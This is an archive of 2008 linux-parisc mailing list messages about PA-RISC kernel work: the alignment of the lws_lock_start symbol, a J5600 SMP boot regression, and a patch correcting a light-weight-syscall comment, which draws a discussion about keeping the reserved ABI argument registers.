Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751076AbYGIUzN
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 9 Jul 2008 16:55:13 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2345 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750955AbYGIUzN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Jul 2008 16:55:13 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 9BC204E4A; Wed,  9 Jul 2008 16:55:11 -0400 (EDT)
In-Reply-To: <119aab440807091322m3e76510bg6569f12ded12fac1@mail.gmail.com> from "Carlos O'Donell" at Jul 9, 2008 04:22:04 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:489
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/489>

> On Wed, Jul 9, 2008 at 3:50 PM, Helge Deller <deller@gmx.de> wrote:
> > So, I still think it would be better to remove the .align16, or
> > alternatively to move it in front of ENTRY(lws_lock_start) [to be on the
> > safe side].
> >
> > Am I really that wrong?
> 
> No, you are absolutely right. I forgot the locks are referenced via
> lws_lock_start, and the symbol needs to be aligned. Sorry, I thought
> there was another symbol elsewhere.

This would be clearer if there was an ENTRY_ALIGNED macro (e.g.,
ENTRY_ALIGNED(lws_lock_start, 16)).  It's probably overkill though.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavokz-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.kernel.kernel-testers,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [Bug #10786] parisc: 64bit SMP does not boot on J5600
Date: Thu, 10 Jul 2008 15:42:00 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <20080710134159.GA4331@ska.dandreoli.com>
References: <Vu1KV8Wj_GP.A.qW.DzLcIB@albercik> <uBi7uNfg81L.A.C4C.s1LcIB@albercik>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1215697349 373 80.91.229.12 (10 Jul 2008 13:42:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 10 Jul 2008 13:42:29 +0000 (UTC)
Cc: Linux Kernel Mailing List <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	Kernel Testers List <kernel-testers-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	Kyle McMartin <kyle-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: "Rafael J. Wysocki" <rjw-KKrjLPT3xs0@public.gmane.org>
Original-X-From: kernel-testers-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Thu Jul 10 15:43:15 2008
Return-path: <kernel-testers-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkk-kernel-testers-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KGwQO-00007w-2z
	for glkk-kernel-testers-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Thu, 10 Jul 2008 15:43:08 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1757383AbYGJNmA (ORCPT <rfc822;glkk-kernel-testers@m.gmane.org>);
	Thu, 10 Jul 2008 09:42:00 -0400
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org id S1757564AbYGJNmA
	(ORCPT <rfc822;kernel-testers-outgoing>);
	Thu, 10 Jul 2008 09:42:00 -0400
Original-Received: from ug-out-1314.google.com ([66.249.92.173]:42719 "EHLO
	ug-out-1314.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757443AbYGJNl6 (ORCPT
	<rfc822;kernel-testers-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Thu, 10 Jul 2008 09:41:58 -0400
Original-Received: by ug-out-1314.google.com with SMTP id h2so207803ugf.16
        for <kernel-testers-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>; Thu, 10 Jul 2008 06:41:57 -0700 (PDT)
Original-Received: by 10.66.250.1 with SMTP id x1mr1295756ugh.83.1215697316137;
        Thu, 10 Jul 2008 06:41:56 -0700 (PDT)
Original-Received: from ska.dandreoli.com ( [159.149.71.27])
        by mx.google.com with ESMTPS id i30sm1021333ugd.43.2008.07.10.06.41.54
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Thu, 10 Jul 2008 06:41:55 -0700 (PDT)
Original-Received: by ska.dandreoli.com (Postfix, from userid 1000)
	id 314F8144AC3; Thu, 10 Jul 2008 15:42:00 +0200 (CEST)
Mail-Followup-To: "Rafael J. Wysocki" <rjw-KKrjLPT3xs0@public.gmane.org>,
	Linux Kernel Mailing List <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	Kernel Testers List <kernel-testers-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	Kyle McMartin <kyle-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Content-Disposition: inline
In-Reply-To: <uBi7uNfg81L.A.C4C.s1LcIB@albercik>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: kernel-testers-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <kernel-testers.vger.kernel.org>
X-Mailing-List: kernel-testers-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.kernel-testers:444 gmane.linux.kernel:704782 gmane.linux.ports.parisc:490
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/490>

On Sun, Jul 06, 2008 at 01:45:52PM +0200, Rafael J. Wysocki wrote:
> 
> The following bug entry is on the current list of known regressions
> from 2.6.25.  Please verify if it still should be listed.

I am going to check it later. Last time I saw it was around 2.6.26-rc7/8.

Anyway the error message was not the same firstly reported there,
it could be another problem. More details will follow. Thank you.

> Bug-Entry	: http://bugzilla.kernel.org/show_bug.cgi?id=10786
> Subject		: parisc: 64bit SMP does not boot on J5600
> Submitter	: Domenico Andreoli <cavokz-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
> Date		: 2008-05-22 16:14 (46 days old)
> References	: http://marc.info/?l=linux-kernel&m=121147328028081&w=4

ciao,
Domenico

-----[ Domenico Andreoli, aka cavok
 --[ http://www.dandreoli.com/gpgkey.asc
   ---[ 3A0F 2F80 F79C 678A 8936  4FEE 0677 9033 A20E BC50

From - Thu Nov 08 21:02:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] fix comment in Light-weight-syscall code
Date: Thu, 10 Jul 2008 22:04:15 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <200807102204.15886.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1215720336 21672 80.91.229.12 (10 Jul 2008 20:05:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 10 Jul 2008 20:05:36 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	"Carlos O'Donell" <carlos@systemhalted.org>
To: kyle@mcmartin.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 10 22:06:22 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KH2OB-0003Xp-6O
	for glpp-linux-parisc@gmane.org; Thu, 10 Jul 2008 22:05:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753900AbYGJUEU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 10 Jul 2008 16:04:20 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753903AbYGJUEU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 10 Jul 2008 16:04:20 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:51813 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753900AbYGJUEU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 10 Jul 2008 16:04:20 -0400
Original-Received: (qmail invoked by alias); 10 Jul 2008 20:04:18 -0000
Original-Received: from mnhm-590f588d.pool.einsundeins.de (EHLO p100.box) [89.15.88.141]
  by mail.gmx.net (mp063) with SMTP; 10 Jul 2008 22:04:18 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+83FJiiXW8OHnbDzIbwEeVbRb67JG3jn/GxUr9mG
	BCO05+RcXJXtun
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
 =?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.65
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:491
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/491>

The comment for the lws-atomic system call userspace helper 
function mentions r22 and r23 as input registers, but I couldn't 
find any usage of those registers in the code.
This patch fixes this and corrects another small typo as well.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index 69b6eeb..ae45262 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -368,11 +368,11 @@ tracesys_sigexit:
 		Light-weight-syscall code
 
 		r20 - lws number
-		r26,r25,r24,r23,r22 - Input registers
+		r26,r25,r24 - Input registers
 		r28 - Function return register
 		r21 - Error code.
 
-		Scracth: Any of the above that aren't being
+		Scratch: Any of the above that aren't being
 		currently used, including r1. 
 
 		Return pointer: r31 (Not usable)

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix comment in Light-weight-syscall code
Date: Thu, 10 Jul 2008 16:35:24 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20080710203524.GB31987@phobos.i.cabal.ca>
References: <200807102204.15886.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1215722154 28129 80.91.229.12 (10 Jul 2008 20:35:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 10 Jul 2008 20:35:54 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 10 22:36:41 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KH2sF-0000Em-J0
	for glpp-linux-parisc@gmane.org; Thu, 10 Jul 2008 22:36:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751344AbYGJUf0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 10 Jul 2008 16:35:26 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753615AbYGJUf0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 10 Jul 2008 16:35:26 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:56436 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751344AbYGJUfZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 10 Jul 2008 16:35:25 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 8BA61178060; Thu, 10 Jul 2008 16:35:24 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200807102204.15886.deller@gmx.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:492
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/492>

On Thu, Jul 10, 2008 at 10:04:15PM +0200, Helge Deller wrote:
> The comment for the lws-atomic system call userspace helper 
> function mentions r22 and r23 as input registers, but I couldn't 
> find any usage of those registers in the code.
> This patch fixes this and corrects another small typo as well.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> 

If Carlos thinks this is OK, it's OK by me.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix comment in Light-weight-syscall code
Date: Fri, 11 Jul 2008 13:02:10 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <119aab440807111002i2ed7079cu7a7c096b241784b7@mail.gmail.com>
References: <200807102204.15886.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1215795781 10571 80.91.229.12 (11 Jul 2008 17:03:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 11 Jul 2008 17:03:01 +0000 (UTC)
Cc: kyle@mcmartin.ca, linux-parisc@vger.kernel.org
To: "Helge Deller" <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 11 19:03:48 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KHM1T-0006lU-3l
	for glpp-linux-parisc@gmane.org; Fri, 11 Jul 2008 19:03:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753554AbYGKRCM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 11 Jul 2008 13:02:12 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753798AbYGKRCM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 11 Jul 2008 13:02:12 -0400
Original-Received: from rv-out-0506.google.com ([209.85.198.231]:53459 "EHLO
	rv-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753554AbYGKRCL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 11 Jul 2008 13:02:11 -0400
Original-Received: by rv-out-0506.google.com with SMTP id k40so4483143rvb.1
        for <linux-parisc@vger.kernel.org>; Fri, 11 Jul 2008 10:02:11 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=P4BK7cXznj0dlIEf3iYT2xcGICrGcwdJ/JBG8i1R2T4=;
        b=kuq6pmywrRbkqieH7/O6LShuaX73zM+J3Z0Ul9Zg7tH5jZVrUirm3EscXtvY7w+yn4
         EiS2l2VrVvFB89b2FYbGWjpu3SnQIaXSwhalD9MDB0UZ1F/5xHSdjWAsM9mZazM4rUTN
         RNlJVtFLeDXLECaZr6+/NXOYgBY8F3ZfrfftU=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=CtVJBzEym4vz/X35AI1hgLKhorCgO1eYBVDi+Av2Dpoo+dAet47YRc+9WnkX6jjaMf
         aQwrwj+TjGTPQcGu7zFSUKTni/RewTrUX1KcR4DX0absuIW8a4bWTUMf0+tneLKz8GxF
         5WtLXN1MKlDDsnLzyhjGvwesreq+SWHBvhu5U=
Original-Received: by 10.114.132.5 with SMTP id f5mr5727972wad.201.1215795731023;
        Fri, 11 Jul 2008 10:02:11 -0700 (PDT)
Original-Received: by 10.115.75.10 with HTTP; Fri, 11 Jul 2008 10:02:10 -0700 (PDT)
In-Reply-To: <200807102204.15886.deller@gmx.de>
Content-Disposition: inline
X-Google-Sender-Auth: 17d09acfb2afa192
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:493
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/493>

On Thu, Jul 10, 2008 at 4:04 PM, Helge Deller <deller@gmx.de> wrote:
> The comment for the lws-atomic system call userspace helper
> function mentions r22 and r23 as input registers, but I couldn't
> find any usage of those registers in the code.
> This patch fixes this and corrects another small typo as well.

That's the LWS syscall ABI. It has 5 argument registers, 1 return
register, 1 error code register, and 1 lws number register.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix comment in Light-weight-syscall code
Date: Fri, 11 Jul 2008 14:33:02 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20080711183302.GD31987@phobos.i.cabal.ca>
References: <200807102204.15886.deller@gmx.de> <119aab440807111002i2ed7079cu7a7c096b241784b7@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1215801201 28490 80.91.229.12 (11 Jul 2008 18:33:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 11 Jul 2008 18:33:21 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 11 20:34:07 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KHNRQ-0007jL-Lw
	for glpp-linux-parisc@gmane.org; Fri, 11 Jul 2008 20:34:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753351AbYGKSdG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 11 Jul 2008 14:33:06 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753800AbYGKSdG
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 11 Jul 2008 14:33:06 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:40766 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753351AbYGKSdF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 11 Jul 2008 14:33:05 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 92FB617805E; Fri, 11 Jul 2008 14:33:02 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <119aab440807111002i2ed7079cu7a7c096b241784b7@mail.gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:494
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/494>

On Fri, Jul 11, 2008 at 01:02:10PM -0400, Carlos O'Donell wrote:
> On Thu, Jul 10, 2008 at 4:04 PM, Helge Deller <deller@gmx.de> wrote:
> > The comment for the lws-atomic system call userspace helper
> > function mentions r22 and r23 as input registers, but I couldn't
> > find any usage of those registers in the code.
> > This patch fixes this and corrects another small typo as well.
> 
> That's the LWS syscall ABI. It has 5 argument registers, 1 return
> register, 1 error code register, and 1 lws number register.
> 

Yeah, but I think what Helge is asking is, if there's no plans to ever
add more, or more arguments, can he change it to be 3 args?

r, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix comment in Light-weight-syscall code
Date: Fri, 11 Jul 2008 15:45:31 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <119aab440807111245u8a7e26er70f695ac8d4a6da7@mail.gmail.com>
References: <200807102204.15886.deller@gmx.de>
	 <119aab440807111002i2ed7079cu7a7c096b241784b7@mail.gmail.com>
	 <20080711183302.GD31987@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1215805543 10124 80.91.229.12 (11 Jul 2008 19:45:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 11 Jul 2008 19:45:43 +0000 (UTC)
Cc: "Helge Deller" <deller@gmx.de>, linux-parisc@vger.kernel.org
To: "Kyle McMartin" <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 11 21:46:30 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KHOZX-00013i-Ff
	for glpp-linux-parisc@gmane.org; Fri, 11 Jul 2008 21:46:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751736AbYGKTpd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 11 Jul 2008 15:45:33 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753583AbYGKTpd
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 11 Jul 2008 15:45:33 -0400
Original-Received: from wa-out-1112.google.com ([209.85.146.177]:58023 "EHLO
	wa-out-1112.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751736AbYGKTpc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 11 Jul 2008 15:45:32 -0400
Original-Received: by wa-out-1112.google.com with SMTP id j37so2380266waf.23
        for <linux-parisc@vger.kernel.org>; Fri, 11 Jul 2008 12:45:32 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=g7jUkogmriyTltbt5gXRZ7QdF8xOFN8aWoQOMTRZni0=;
        b=QkJBmX7X5sl3bOONquYA1ntitCiv8nGcV1Sg1rzidk19pHt4xFCtHMCHx/ghf8lUcX
         XxsWMXVSGMMcdqyscVAxAgDxhH6K5SqNKXs2USgm0Rq6nqJ9JG/4qkbltxHIGYOJD1Py
         rnUUJ47dd8WtUZqDM/WbwVfYnequsaMfoXn/Q=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=iS15DOyq7GJEpU4hzT5ty9017t7TdNvzy4DQQT6pVY45mS6wsZsB39kbhpDsYmcLCC
         e9vjKLFKmOsdSvC4YV+uedU4SP4QQGnBharOsUjIxJMd95wOF6tP6D4gxUeXGc7LEhdZ
         ob9kecEsr/oenJvdVNXZ2J9vgNDb+aOKS7Z4U=
Original-Received: by 10.114.75.1 with SMTP id x1mr14534347waa.25.1215805531887;
        Fri, 11 Jul 2008 12:45:31 -0700 (PDT)
Original-Received: by 10.115.75.10 with HTTP; Fri, 11 Jul 2008 12:45:31 -0700 (PDT)
In-Reply-To: <20080711183302.GD31987@phobos.i.cabal.ca>
Content-Disposition: inline
X-Google-Sender-Auth: d473b1e4b8a82b09
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:495
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/495>

On Fri, Jul 11, 2008 at 2:33 PM, Kyle McMartin <kyle@mcmartin.ca> wrote:
> On Fri, Jul 11, 2008 at 01:02:10PM -0400, Carlos O'Donell wrote:
>> On Thu, Jul 10, 2008 at 4:04 PM, Helge Deller <deller@gmx.de> wrote:
>> > The comment for the lws-atomic system call userspace helper
>> > function mentions r22 and r23 as input registers, but I couldn't
>> > find any usage of those registers in the code.
>> > This patch fixes this and corrects another small typo as well.
>>
>> That's the LWS syscall ABI. It has 5 argument registers, 1 return
>> register, 1 error code register, and 1 lws number register.
>>
>
> Yeah, but I think what Helge is asking is, if there's no plans to ever
> add more, or more arguments, can he change it to be 3 args?

No, I'm not OK with it, I think we should keep the extra two argument
registers for future use.

I've been talking to Helge about this. Once we lose those registers
they are gone from the ABI forever, and if we need some fixup, or an
additional arg in the future, it will be hard to handle.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] Document LWS ABI.
Date: Tue, 15 Jul 2008 08:33:38 -0400
Lines: 102
Approved: news@gmane.org
Message-ID: <119aab440807150533y2b56f612w6f6fa12ed28b45fe@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; 
	boundary="----=_Part_6813_2174491.1216125218592"
X-Trace: ger.gmane.org 1216125282 13833 80.91.229.12 (15 Jul 2008 12:34:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
